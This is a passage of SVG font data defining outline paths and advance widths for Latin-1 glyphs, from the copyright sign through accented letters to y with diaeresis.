<glyph unicode="&#xa9;" horiz-adv-x="1687" d="M104 713q0 305 216.5 524t523.5 219t523 -217t216 -522t-216 -523.5t-525.5 -218.5t-523.5 216.5t-214 521.5zM256 712.5q0 -241.5 170 -413.5t415.5 -172t418 174t172.5 415.5t-172.5 414t-415 172.5t-415.5 -174.5t-173 -416zM430 720.5q0 188.5 129 306.5t317.5 118 t327.5 -146l-123 -153q-82 98 -207 98q-88 0 -150 -58.5t-62 -161.5t64.5 -163.5t154.5 -60.5q133 0 204 118l127 -153q-157 -166 -360 -166q-172 0 -297 116.5t-125 305z" />
<glyph unicode="&#xaa;" horiz-adv-x="733" d="M104 1104q0 78 60.5 118t163.5 40h104v6q0 88 -78 88q-61 0 -127 -29l-20 -10l-49 90q88 57 198 57q236 0 236 -194v-332h-152v63q-45 -70 -133 -69.5t-145.5 47.5t-57.5 125zM266 1104q0 -29 18.5 -45.5t54.5 -16.5t63.5 25t27.5 68v30h-90q-74 0 -74 -61z" />
<glyph unicode="&#xab;" horiz-adv-x="1236" d="M98 502l250 377h309l-241 -377l241 -379h-309zM559 502l250 377h309l-241 -377l241 -379h-309z" />
<glyph unicode="&#xac;" horiz-adv-x="1673" d="M129 670v241h1370v-731h-229v490h-1141z" />
<glyph unicode="&#xad;" horiz-adv-x="1003" d="M137 479v273h729v-273h-729z" />
<glyph unicode="&#xae;" horiz-adv-x="1687" d="M104 713q0 305 216.5 524t523.5 219t523 -217t216 -522t-216 -523.5t-525.5 -218.5t-523.5 216.5t-214 521.5zM256 712.5q0 -241.5 170 -413.5t418 -172t420 178h-238l-178 256h-90v-256h-226v832h330q197 0 281 -68t84 -217q0 -182 -166 -254l207 -289 q164 170 164 409.5t-172.5 412t-415 172.5t-415.5 -174.5t-173 -416zM758 745h108q80 0 109 26t29 82t-30 77.5t-104 21.5h-112v-207z" />
<glyph unicode="&#xaf;" horiz-adv-x="905" d="M113 1169v238h682v-238h-682z" />
<glyph unicode="&#xb0;" horiz-adv-x="876" d="M96 1127.5q0 138.5 100.5 236.5t242 98t241.5 -98t100 -236.5t-100 -235.5t-241.5 -97t-242 97t-100.5 235.5zM291 1127.5q0 -68.5 43 -116.5t104.5 -48t103.5 47t42 116.5t-42 116.5t-103.5 47t-104.5 -47t-43 -115.5z" />
<glyph unicode="&#xb1;" horiz-adv-x="1189" d="M98 182v232h994v-232h-994zM98 801v239h355v295h282v-295h357v-239h-357v-285h-282v285h-355z" />
<glyph unicode="&#xb2;" horiz-adv-x="899" d="M121 1262q66 100 140.5 151t190 51t203.5 -72.5t88 -197.5q0 -66 -34.5 -127t-126.5 -158l-127 -133h313v-196h-629v157l250 258q72 74 102.5 116t30.5 79t-22.5 61.5t-57.5 24.5q-68 0 -143 -121z" />
<glyph unicode="&#xb3;" horiz-adv-x="892" d="M104 655l95 170q117 -88 219 -88q49 0 80.5 24.5t31.5 74t-44 75t-111.5 25.5t-118.5 -25v154l150 178h-250v189h557v-150l-162 -186q96 -25 148.5 -95.5t52.5 -158.5q0 -137 -95.5 -217t-244 -80t-308.5 110z" />
<glyph unicode="&#xb4;" horiz-adv-x="782" d="M102 1579l260 363l318 -134l-285 -229h-293z" />
<glyph unicode="&#xb5;" horiz-adv-x="1325" d="M162 -379v1481h309v-600q0 -254 186 -254q92 0 160 66.5t68 193.5v594h309v-1102h-309v92q-121 -109 -291 -108q-72 0 -123 14v-377h-309z" />
<glyph unicode="&#xb6;" horiz-adv-x="1458" d="M70 1122q0 180 123.5 303t377.5 123h701v-1763h-273v1509h-200v-1509h-267v928h-40q-266 0 -369 196q-53 100 -53 213z" />
<glyph unicode="&#xb7;" horiz-adv-x="610" d="M125 651q0 76 52 128t128 52t128 -52t52 -128t-52 -128t-128 -52t-128 52t-52 128z" />
<glyph unicode="&#xb8;" horiz-adv-x="575" d="M29 -414l77 176q45 -39 80 -38.5t54.5 18.5t19.5 46t-24.5 49.5t-58.5 21.5t-73 -19l84 160h236l-57 -104q133 -45 133 -156q0 -88 -73 -153.5t-183.5 -65.5t-214.5 65z" />
<glyph unicode="&#xb9;" horiz-adv-x="610" d="M82 1245v187h379v-867h-219v680h-160z" />
<glyph unicode="&#xba;" horiz-adv-x="804" d="M100 1176.5q0 119.5 86 203.5t216 84t216.5 -84t86.5 -204.5t-86.5 -203.5t-216.5 -83t-216 84t-86 203.5zM297 1176.5q0 -56.5 29.5 -91t76 -34.5t76 34.5t29.5 91t-29.5 92.5t-76 36t-76 -36t-29.5 -92.5z" />
<glyph unicode="&#xbb;" horiz-adv-x="1236" d="M119 123l241 379l-241 377h309l250 -377l-250 -379h-309zM580 123l241 379l-241 377h309l250 -377l-250 -379h-309z" />
<glyph unicode="&#xbc;" horiz-adv-x="1751" d="M74 1243v187h377v-865h-220v678h-157zM406 -16l745 1560h235l-745 -1560h-235zM1028 201v157l301 506h225l-299 -499h140v172h186v-172h94v-164h-94v-201h-186v201h-367z" />
<glyph unicode="&#xbd;" horiz-adv-x="1798" d="M74 1245v187h377v-867h-220v680h-157zM383 -16l745 1560h238l-745 -1560h-238zM1063 682q66 100 140.5 151.5t190 51.5t204 -73t88.5 -198q0 -66 -35 -127t-127 -157l-127 -133h313v-197h-629v158l250 258q72 73 102.5 115t30.5 79t-22.5 61.5t-57.5 24.5 q-68 0 -143 -121z" />
<glyph unicode="&#xbe;" horiz-adv-x="1845" d="M80 655l94 170q117 -88 219 -88q49 0 81 24.5t32 74t-44 75t-111.5 25.5t-119.5 -25v154l150 178h-250v189h557v-150l-162 -186q96 -25 148.5 -95.5t52.5 -158.5q0 -137 -95 -217t-243.5 -80t-308.5 110zM498 -16l745 1560h236l-746 -1560h-235zM1124 201v157l301 506 h226l-299 -499h139v172h186v-172h95v-164h-95v-201h-186v201h-367z" />
<glyph unicode="&#xbf;" horiz-adv-x="1077" d="M106 377q0 82 20.5 122t29 57t38 52t39.5 43q49 51 93.5 94t58.5 71t14 83v123h312v-154q0 -84 -21.5 -126t-91.5 -113l-139 -144q-31 -37 -31 -95t33 -97t86 -39t89 46t44 122h326q-23 -205 -150 -321.5t-318.5 -116.5t-311.5 104.5t-120 288.5zM371 1284q0 76 52 128 t128 52t128 -52t52 -128t-52 -128t-128 -52t-128 52t-52 128z" />
<glyph unicode="&#xc0;" d="M-10 0l618 1432h310l618 -1432h-340l-133 309h-600l-133 -309h-340zM340 1804l315 135l263 -364h-293zM584 590h358l-178 416z" />
<glyph unicode="&#xc1;" d="M-10 0l618 1432h310l618 -1432h-340l-133 309h-600l-133 -309h-340zM584 590h358l-178 416zM606 1579l260 363l318 -134l-285 -229h-293z" />
<glyph unicode="&#xc2;" d="M-10 0l618 1432h310l618 -1432h-340l-133 309h-600l-133 -309h-340zM328 1575l231 323h383l232 -323h-252l-172 166l-170 -166h-252zM584 590h358l-178 416z" />
<glyph unicode="&#xc3;" d="M-10 0l618 1432h310l618 -1432h-340l-133 309h-600l-133 -309h-340zM354 1575q0 154 66.5 242t171.5 88q66 0 159 -56.5t113 -56.5q63 0 62 106h217q0 -154 -66.5 -241.5t-171.5 -87.5q-63 0 -159.5 56t-112.5 56q-63 0 -62 -106h-217zM584 590h358l-178 416z" />
<glyph unicode="&#xc4;" d="M-10 0l618 1432h310l618 -1432h-340l-133 309h-600l-133 -309h-340zM420 1734.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5zM584 590h358l-178 416zM815 1734.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5 t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5z" />
<glyph unicode="&#xc5;" d="M-10 0l616 1430q-61 66 -61 154.5t64.5 153t154.5 64.5t154.5 -64.5t64.5 -154.5t-65 -156l618 -1427h-340l-133 309h-600l-133 -309h-340zM584 590h358l-178 416zM692 1583q0 -29 21.5 -50.5t50.5 -21.5t50.5 21.5t21.5 50.5t-21.5 50.5t-50.5 21.5t-50.5 -21.5 t-21.5 -50.5z" />
<glyph unicode="&#xc6;" horiz-adv-x="2095" d="M-33 0l735 1432h1264v-281h-715v-309h641v-269h-641v-292h738v-281h-1078v309h-405l-162 -309h-377zM651 598h260v504z" />
<glyph unicode="&#xc7;" horiz-adv-x="1499" d="M90 739q0 299 218 512t534 213q352 0 590 -268l-199 -225q-152 188 -377 188q-180 0 -308 -117.5t-128 -317.5t121 -320.5t293 -120.5q236 0 385 186l204 -211q-207 -233 -495 -268l-54 -99q133 -45 134 -155q0 -88 -73 -153.5t-183.5 -65.5t-214.5 65l77 176 q45 -39 80 -39t54.5 18.5t19.5 46.5t-24.5 49.5t-58.5 21.5t-73 -19l84 160q-266 45 -436 244.5t-170 498.5z" />
<glyph unicode="&#xc8;" horiz-adv-x="1339" d="M176 0v1432h1032v-285h-712v-295h641v-272h-641v-297h735v-283h-1055zM250 1804l315 135l262 -364h-292z" />
<glyph unicode="&#xc9;" horiz-adv-x="1339" d="M176 0v1432h1032v-285h-712v-295h641v-272h-641v-297h735v-283h-1055zM516 1579l260 363l318 -134l-285 -229h-293z" />
<glyph unicode="&#xca;" horiz-adv-x="1339" d="M176 0v1432h1032v-285h-712v-295h641v-272h-641v-297h735v-283h-1055zM238 1575l231 323h383l231 -323h-252l-172 166l-170 -166h-251z" />
<glyph unicode="&#xcb;" horiz-adv-x="1339" d="M176 0v1432h1032v-285h-712v-295h641v-272h-641v-297h735v-283h-1055zM348 1734.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5zM743 1734.5q0 63.5 44 107.5t107.5 44t108 -44t44.5 -107.5t-44.5 -107.5t-108 -44 t-107.5 44t-44 107.5z" />
<glyph unicode="&#xcc;" horiz-adv-x="671" d="M-76 1804l316 135l262 -364h-293zM176 0v1432h320v-1432h-320z" />
<glyph unicode="&#xcd;" horiz-adv-x="671" d="M176 0v1432h320v-1432h-320zM190 1579l261 363l317 -134l-285 -229h-293z" />
<glyph unicode="&#xce;" horiz-adv-x="671" d="M-86 1577l231 324h383l232 -324h-252l-172 166l-170 -166h-252zM176 0v1432h320v-1432h-320z" />
<glyph unicode="&#xcf;" horiz-adv-x="671" d="M-14 1734.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5zM176 0v1432h320v-1432h-320zM381 1734.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5z" />
<glyph unicode="&#xd0;" horiz-adv-x="1605" d="M53 573v273h152v586h506q383 0 587.5 -187.5t204.5 -521.5t-199.5 -528.5t-609.5 -194.5h-489v573h-152zM524 283h203q219 0 337 110.5t118 321.5t-118 324.5t-362 113.5h-178v-307h480v-273h-480v-290z" />
<glyph unicode="&#xd1;" horiz-adv-x="1673" d="M176 0v1432h299l703 -922v922h319v-1432h-319l-682 897v-897h-320zM438 1573q0 154 66.5 242t171.5 88q66 0 159 -56.5t113 -56.5q63 0 62 106h217q0 -154 -66.5 -241.5t-171.5 -87.5q-63 0 -159.5 56t-112.5 56q-63 0 -62 -106h-217z" />
<glyph unicode="&#xd2;" horiz-adv-x="1691" d="M94 725q0 315 217 527t534.5 212t534.5 -212t217 -527t-217 -527t-534.5 -212t-534.5 212t-217 527zM422 723.5q0 -191.5 123 -325.5t302 -134t302 134t123 325.5t-123 327t-302 135.5t-302 -135.5t-123 -327zM434 1804l316 135l262 -364h-293z" />
<glyph unicode="&#xd3;" horiz-adv-x="1691" d="M94 725q0 315 217 527t534.5 212t534.5 -212t217 -527t-217 -527t-534.5 -212t-534.5 212t-217 527zM422 723.5q0 -191.5 123 -325.5t302 -134t302 134t123 325.5t-123 327t-302 135.5t-302 -135.5t-123 -327zM700 1579l261 363l317 -134l-285 -229h-293z" />
<glyph unicode="&#xd4;" horiz-adv-x="1691" d="M94 725q0 315 217 527t534.5 212t534.5 -212t217 -527t-217 -527t-534.5 -212t-534.5 212t-217 527zM422 723.5q0 -191.5 123 -325.5t302 -134t302 134t123 325.5t-123 327t-302 135.5t-302 -135.5t-123 -327zM422 1575l231 323h383l232 -323h-252l-172 166l-170 -166 h-252z" />
<glyph unicode="&#xd5;" horiz-adv-x="1691" d="M94 725q0 315 217 527t534.5 212t534.5 -212t217 -527t-217 -527t-534.5 -212t-534.5 212t-217 527zM422 723.5q0 -191.5 123 -325.5t302 -134t302 134t123 325.5t-123 327t-302 135.5t-302 -135.5t-123 -327zM449 1573q0 154 66.5 242t170.5 88q66 0 159 -56.5 t113 -56.5q63 0 62 106h217q0 -154 -66.5 -241.5t-171.5 -87.5q-63 0 -159.5 56t-112.5 56q-63 0 -61 -106h-217z" />
<glyph unicode="&#xd6;" horiz-adv-x="1691" d="M94 725q0 315 217 527t534.5 212t534.5 -212t217 -527t-217 -527t-534.5 -212t-534.5 212t-217 527zM422 723.5q0 -191.5 123 -325.5t302 -134t302 134t123 325.5t-123 327t-302 135.5t-302 -135.5t-123 -327zM494 1734.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5 t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5zM889 1734.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5z" />
<glyph unicode="&#xd7;" horiz-adv-x="1206" d="M98 412l328 333l-326 330l181 182l323 -333l326 333l176 -182l-322 -330l324 -333l-176 -183l-328 334l-325 -334z" />
<glyph unicode="&#xd8;" horiz-adv-x="1691" d="M94 725q0 315 217 527t535 212q98 0 205 -26l96 211h291l-148 -322q143 -100 225 -258t82 -344q0 -315 -217 -527t-534 -212q-80 0 -162 16l-106 -231h-289l149 327q-160 98 -252 263t-92 364zM422 712.5q0 -202.5 143 -335.5l367 799q-47 10 -86 10q-178 0 -301 -135.5 t-123 -338zM805 266q12 -2 41 -2q180 0 303 134t123 320.5t-115 321.5z" />
<glyph unicode="&#xd9;" horiz-adv-x="1538" d="M156 631v801h319v-791q0 -172 80 -271.5t215 -99.5t214 99.5t79 271.5v791h319v-801q0 -311 -172 -478t-440 -167t-441 168t-173 477zM354 1804l316 135l262 -364h-293z" />
<glyph unicode="&#xda;" horiz-adv-x="1538" d="M156 631v801h319v-791q0 -172 80 -271.5t215 -99.5t214 99.5t79 271.5v791h319v-801q0 -311 -172 -478t-440 -167t-441 168t-173 477zM623 1579l260 363l317 -134l-285 -229h-292z" />
<glyph unicode="&#xdb;" horiz-adv-x="1538" d="M156 631v801h319v-791q0 -172 80 -271.5t215 -99.5t214 99.5t79 271.5v791h319v-801q0 -311 -172 -478t-440 -167t-441 168t-173 477zM344 1575l231 323h383l232 -323h-252l-172 166l-170 -166h-252z" />
<glyph unicode="&#xdc;" horiz-adv-x="1538" d="M156 631v801h319v-791q0 -172 80 -271.5t215 -99.5t214 99.5t79 271.5v791h319v-801q0 -311 -172 -478t-440 -167t-441 168t-173 477zM418 1734.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5zM813 1734.5q0 63.5 44 107.5 t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5z" />
<glyph unicode="&#xdd;" horiz-adv-x="1265" d="M-23 1432h347l309 -533l309 533h346l-495 -867v-565h-320v565zM446 1579l261 363l317 -134l-285 -229h-293z" />
<glyph unicode="&#xde;" horiz-adv-x="1402" d="M176 0v1432h320v-172h166q651 0 651 -506q0 -279 -163 -403t-484 -124h-170v-227h-320zM496 504h194q164 0 229.5 66.5t65.5 188.5t-82 173t-246 51h-161v-479z" />
<glyph unicode="&#xdf;" horiz-adv-x="1325" d="M143 0v922q0 201 41 315q16 51 55.5 114.5t92.5 102.5q123 96 325 96q117 0 208 -29.5t144.5 -73.5t88.5 -104q57 -104 57 -223q0 -190 -158 -319q121 -39 181.5 -140.5t60.5 -226.5q0 -199 -138 -316.5t-396 -117.5h-127v258h90q252 0 252 176q0 195 -236 195 q-43 0 -113 -6v247q138 21 204.5 83.5t66.5 139t-39 131t-123 54.5q-119 0 -168 -84t-49 -246v-948h-320z" />
<glyph unicode="&#xe0;" horiz-adv-x="1216" d="M86 355q0 169 123 253t336 84h229v6q0 176 -186 176q-80 0 -169 -31.5t-151 -78.5l-137 199q217 158 496 157q201 0 327.5 -100t126.5 -318v-702h-288v133q-119 -150 -294 -149.5t-294 101.5t-119 270zM266 1481l316 135l262 -365h-293zM395 358q0 -59 44 -90.5 t126 -31.5t144.5 50t62.5 134v53h-192q-184 0 -185 -115z" />
<glyph unicode="&#xe1;" horiz-adv-x="1216" d="M86 355q0 169 123 253t336 84h229v6q0 176 -186 176q-80 0 -169 -31.5t-151 -78.5l-137 199q217 158 496 157q201 0 327.5 -100t126.5 -318v-702h-288v133q-119 -150 -294 -149.5t-294 101.5t-119 270zM395 358q0 -59 44 -90.5t126 -31.5t144.5 50t62.5 134v53h-192 q-184 0 -185 -115zM420 1251l260 363l317 -133l-284 -230h-293z" />
<glyph unicode="&#xe2;" horiz-adv-x="1216" d="M86 355q0 169 123 253t336 84h229v6q0 176 -186 176q-80 0 -169 -31.5t-151 -78.5l-137 199q217 158 496 157q201 0 327.5 -100t126.5 -318v-702h-288v133q-119 -150 -294 -149.5t-294 101.5t-119 270zM193 1251l231 324h383l231 -324h-252l-172 166l-170 -166h-251z M395 358q0 -59 44 -90.5t126 -31.5t144.5 50t62.5 134v53h-192q-184 0 -185 -115z" />
<glyph unicode="&#xe3;" horiz-adv-x="1216" d="M86 355q0 169 123 253t336 84h229v6q0 176 -186 176q-80 0 -169 -31.5t-151 -78.5l-137 199q217 158 496 157q201 0 327.5 -100t126.5 -318v-702h-288v133q-119 -150 -294 -149.5t-294 101.5t-119 270zM199 1251q0 154 66.5 242t170.5 88q66 0 159 -56.5t114 -56.5 q63 0 61 107h217q0 -154 -66.5 -242t-170.5 -88q-63 0 -160 56.5t-113 56.5q-63 0 -61 -107h-217zM395 358q0 -59 44 -90.5t126 -31.5t144.5 50t62.5 134v53h-192q-184 0 -185 -115z" />
<glyph unicode="&#xe4;" horiz-adv-x="1216" d="M86 355q0 169 123 253t336 84h229v6q0 176 -186 176q-80 0 -169 -31.5t-151 -78.5l-137 199q217 158 496 157q201 0 327.5 -100t126.5 -318v-702h-288v133q-119 -150 -294 -149.5t-294 101.5t-119 270zM266 1415.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5 t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5zM395 358q0 -59 44 -90.5t126 -31.5t144.5 50t62.5 134v53h-192q-184 0 -185 -115zM662 1415.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5z" />
<glyph unicode="&#xe5;" horiz-adv-x="1216" d="M86 355q0 169 123 253t336 84h229v6q0 176 -186 176q-80 0 -169 -31.5t-151 -78.5l-137 199q217 158 496 157q201 0 327.5 -100t126.5 -318v-702h-288v133q-119 -150 -294 -149.5t-294 101.5t-119 270zM395 358q0 -59 44 -90.5t126 -31.5t144.5 50t62.5 134v53h-192 q-184 0 -185 -115zM408 1440q0 90 64.5 154.5t154.5 64.5t154.5 -64.5t64.5 -154.5t-64.5 -154.5t-154.5 -64.5t-154.5 64.5t-64.5 154.5zM555 1439.5q0 -28.5 21.5 -50t50 -21.5t50 21.5t21.5 50t-21.5 50t-50 21.5t-50 -21.5t-21.5 -50z" />
<glyph unicode="&#xe6;" horiz-adv-x="1916" d="M82 350q0 334 459 334h229v14q0 172 -178 172q-127 0 -307 -127l-138 199q221 178 460 178t360 -114q143 115 355 114.5t361.5 -136.5t149.5 -378v-157h-756v-11q16 -92 86 -146t160 -54q145 0 270 153l181 -201q-197 -207 -467 -206q-236 0 -387 155 q-158 -156 -404 -155q-180 0 -307 102t-127 264zM391 357.5q0 -58.5 44 -90t126 -31.5t144.5 50t62.5 134v29h-193q-90 0 -137 -16.5t-47 -75zM1081 684h439q-15 88 -70 135t-136 47t-147.5 -49t-85.5 -133z" />
<glyph unicode="&#xe7;" horiz-adv-x="1193" d="M84 549q0 254 173 412.5t411 158.5q119 0 240.5 -49t213.5 -145l-159 -209q-53 63 -130 98t-153 35q-121 0 -208 -79t-87 -219t87 -218t204 -78q154 0 276 154l183 -205q-166 -172 -365 -211l-55 -103q133 -45 133 -155q0 -88 -73 -153.5t-183.5 -65.5t-214.5 65l78 176 q45 -39 79.5 -39t54 18.5t19.5 46.5t-24.5 49.5t-58 21.5t-72.5 -19l84 160q-195 41 -324 188.5t-129 364.5z" />
<glyph unicode="&#xe8;" horiz-adv-x="1265" d="M84 553q0 260 167 413.5t394 153.5t386 -137t159 -377v-164h-803q14 -90 94 -147t181 -57q162 0 266 108l172 -186q-186 -176 -437 -176t-415 154.5t-164 414.5zM252 1481l315 135l262 -365h-292zM395 662h484q-11 98 -74.5 151t-154.5 53t-166.5 -55t-88.5 -149z" />
<glyph unicode="&#xe9;" horiz-adv-x="1265" d="M84 553q0 260 167 413.5t394 153.5t386 -137t159 -377v-164h-803q14 -90 94 -147t181 -57q162 0 266 108l172 -186q-186 -176 -437 -176t-415 154.5t-164 414.5zM395 662h484q-11 98 -74.5 151t-154.5 53t-166.5 -55t-88.5 -149zM446 1251l261 363l317 -133l-285 -230 h-293z" />
<glyph unicode="&#xea;" horiz-adv-x="1265" d="M84 553q0 260 167 413.5t394 153.5t386 -137t159 -377v-164h-803q14 -90 94 -147t181 -57q162 0 266 108l172 -186q-186 -176 -437 -176t-415 154.5t-164 414.5zM209 1251l231 324h383l232 -324h-252l-172 166l-170 -166h-252zM395 662h484q-11 98 -74.5 151t-154.5 53 t-166.5 -55t-88.5 -149z" />
<glyph unicode="&#xeb;" horiz-adv-x="1265" d="M84 553q0 260 167 413.5t394 153.5t386 -137t159 -377v-164h-803q14 -90 94 -147t181 -57q162 0 266 108l172 -186q-186 -176 -437 -176t-415 154.5t-164 414.5zM297 1415.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5z M395 662h484q-11 98 -74.5 151t-154.5 53t-166.5 -55t-88.5 -149zM692 1415.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5z" />
<glyph unicode="&#xec;" horiz-adv-x="598" d="M-121 1481l316 135l262 -365h-293zM145 0v1102h308v-1102h-308z" />
<glyph unicode="&#xed;" horiz-adv-x="598" d="M145 0v1102h308v-1102h-308zM156 1251l260 363l317 -133l-284 -230h-293z" />
<glyph unicode="&#xee;" horiz-adv-x="598" d="M-84 1251l231 324h302l231 -324h-231l-152 146l-150 -146h-231zM145 0v1102h308v-1102h-308z" />
<glyph unicode="&#xef;" horiz-adv-x="598" d="M-49 1415.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5zM145 0v1102h308v-1102h-308zM346 1415.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5z" />
<glyph unicode="&#xf0;" horiz-adv-x="1222" d="M90 484.5q0 220.5 147.5 361.5t356.5 141q53 0 94 -8q-41 51 -127 145l-176 -114l-166 159l180 117q-31 27 -67 57l-76 64l252 149q86 -70 141 -120l162 106l170 -160l-170 -112q324 -371 324 -717q0 -256 -136.5 -412.5t-373 -156.5t-386 140t-149.5 360.5zM393 485.5 q0 -100.5 59.5 -172t159 -71.5t159.5 71.5t60 172t-61 172t-159.5 71.5t-158 -71.5t-59.5 -172z" />
<glyph unicode="&#xf1;" horiz-adv-x="1308" d="M145 0v1102h308v-123q139 141 313 141t292 -123t118 -327v-670h-308v623q0 254 -186 254q-92 0 -160.5 -67t-68.5 -196v-614h-308zM270 1251q0 154 66.5 242t171.5 88q66 0 159 -56.5t113 -56.5q63 0 62 107h217q0 -154 -66.5 -242t-171.5 -88q-63 0 -159.5 56.5 t-112.5 56.5q-63 0 -62 -107h-217z" />
<glyph unicode="&#xf2;" horiz-adv-x="1327" d="M82 551q0 240 166 404.5t416.5 164.5t416.5 -164.5t166 -404.5t-166 -403.5t-416.5 -163.5t-416.5 163.5t-166 403.5zM252 1481l315 135l262 -365h-292zM391 551q0 -135 77 -220t196.5 -85t196.5 85t77 220t-77 221t-196.5 86t-196.5 -86t-77 -221z" />
<glyph unicode="&#xf3;" horiz-adv-x="1327" d="M82 551q0 240 166 404.5t416.5 164.5t416.5 -164.5t166 -404.5t-166 -403.5t-416.5 -163.5t-416.5 163.5t-166 403.5zM391 551q0 -135 77 -220t196.5 -85t196.5 85t77 220t-77 221t-196.5 86t-196.5 -86t-77 -221zM487 1251l261 363l317 -133l-285 -230h-293z" />
<glyph unicode="&#xf4;" horiz-adv-x="1327" d="M82 551q0 240 166 404.5t416.5 164.5t416.5 -164.5t166 -404.5t-166 -403.5t-416.5 -163.5t-416.5 163.5t-166 403.5zM250 1251l231 324h383l232 -324h-252l-172 166l-170 -166h-252zM391 551q0 -135 77 -220t196.5 -85t196.5 85t77 220t-77 221t-196.5 86t-196.5 -86 t-77 -221z" />
<glyph unicode="&#xf5;" horiz-adv-x="1327" d="M82 551q0 240 166 404.5t416.5 164.5t416.5 -164.5t166 -404.5t-166 -403.5t-416.5 -163.5t-416.5 163.5t-166 403.5zM272 1251q0 154 67 242t171 88q66 0 159 -56.5t113 -56.5q63 0 62 107h217q0 -154 -66.5 -242t-171.5 -88q-63 0 -159.5 56.5t-112.5 56.5 q-63 0 -62 -107h-217zM391 551q0 -135 77 -220t196.5 -85t196.5 85t77 220t-77 221t-196.5 86t-196.5 -86t-77 -221z" />
<glyph unicode="&#xf6;" horiz-adv-x="1327" d="M82 551q0 240 166 404.5t416.5 164.5t416.5 -164.5t166 -404.5t-166 -403.5t-416.5 -163.5t-416.5 163.5t-166 403.5zM315 1415.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5zM391 551q0 -135 77 -220t196.5 -85t196.5 85 t77 220t-77 221t-196.5 86t-196.5 -86t-77 -221zM711 1415.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5z" />
<glyph unicode="&#xf7;" horiz-adv-x="1191" d="M98 590v252h996v-252h-996zM416 327.5q0 75.5 52 128t128 52.5t128 -52.5t52 -128t-52 -128t-128 -52.5t-128 52.5t-52 128zM416 1104q0 76 52 128t128 52t128 -52t52 -128t-52 -128t-128 -52t-128 52t-52 128z" />
<glyph unicode="&#xf8;" horiz-adv-x="1327" d="M82 551q0 240 166 404.5t416 164.5q72 0 131 -14l77 174h291l-129 -283q213 -170 213 -446q0 -240 -165.5 -403.5t-417.5 -163.5q-45 0 -93 6l-90 -197h-288l133 291q-115 78 -179.5 201t-64.5 266zM391 560q0 -126 58 -206l231 504h-16q-119 0 -196 -86t-77 -212z M690 248q111 10 179.5 93t68.5 191.5t-35 178.5z" />
<glyph unicode="&#xf9;" horiz-adv-x="1310" d="M133 434v668h309v-600q0 -254 187 -254q92 0 159.5 66.5t67.5 193.5v594h309v-1102h-309v145q-115 -162 -296 -161.5t-304 114t-123 336.5zM248 1481l315 135l262 -365h-293z" />
<glyph unicode="&#xfa;" horiz-adv-x="1310" d="M133 434v668h309v-600q0 -254 187 -254q92 0 159.5 66.5t67.5 193.5v594h309v-1102h-309v145q-115 -162 -296 -161.5t-304 114t-123 336.5zM483 1251l260 363l318 -133l-285 -230h-293z" />
<glyph unicode="&#xfb;" horiz-adv-x="1310" d="M133 434v668h309v-600q0 -254 187 -254q92 0 159.5 66.5t67.5 193.5v594h309v-1102h-309v145q-115 -162 -296 -161.5t-304 114t-123 336.5zM231 1251l232 324h383l231 -324h-252l-172 166l-170 -166h-252z" />
<glyph unicode="&#xfc;" horiz-adv-x="1310" d="M133 434v668h309v-600q0 -254 187 -254q92 0 159.5 66.5t67.5 193.5v594h309v-1102h-309v145q-115 -162 -296 -161.5t-304 114t-123 336.5zM293 1415.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5zM688 1415.5 q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5z" />
<glyph unicode="&#xfd;" horiz-adv-x="1208" d="M8 1102h328l268 -686l268 686h328l-512 -1299q-45 -113 -140 -175t-212 -62q-162 0 -305 131l139 227q78 -76 160 -76q43 0 73.5 42t30.5 89.5t-426 1122.5zM424 1251l260 363l317 -133l-284 -230h-293z" />
<glyph unicode="&#xfe;" horiz-adv-x="1363" d="M145 -397v1917h308v-510q123 111 295 110q215 0 373.5 -153.5t158.5 -409.5t-158.5 -414.5t-369.5 -158.5q-164 0 -299 104v-485h-308zM449 550q0 -134 74.5 -219t181 -85t186.5 85t80 218t-78 223t-186.5 90t-183 -89t-74.5 -223z" />
<glyph unicode="&#xff;" horiz-adv-x="1208" d="M8 1102h328l268 -686l268 686h328l-512 -1299q-45 -113 -140 -175t-212 -62q-162 0 -305 131l139 227q78 -76 160 -76q43 0 73.5 42t30.5 89.5t-426 1122.5zM254 1415.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5z M649 1415.5q0 63.5 44 107.5t107.5 44t107.5 -44t44 -107.5t-44 -107.5t-107.5 -44t-107.5 44t-44 107.5z" />
